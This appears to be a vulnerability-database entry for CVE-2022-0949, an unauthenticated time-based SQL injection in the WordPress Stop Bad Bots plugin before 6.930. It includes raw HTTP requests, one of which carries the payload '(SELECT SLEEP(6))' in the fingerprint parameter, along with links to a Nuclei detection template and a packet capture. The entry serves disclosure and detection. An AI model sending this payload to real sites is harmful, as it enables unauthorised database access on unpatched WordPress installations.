| Title | WordPress Stop Bad Bots <6.930 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. |
| Remediation | Fixed in version 6.930. |
| CVSS Score | 9.8 |
| EPSS Score | 0.69083 |
| CVE ID | CVE-2022-0949 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2022 stopbadbots wp-plugin wp unauth wpscan sqli wordpress vuln |
WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
X-Real-IP: 1.1.1.44
Accept-Encoding: gzip
action=stopbadbots_grava_fingerprint&fingerprint=0
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
X-Real-IP: 1.1.1.44
Accept-Encoding: gzip
action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6))
GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10.15, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0949.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0949.pcap
N/AN/A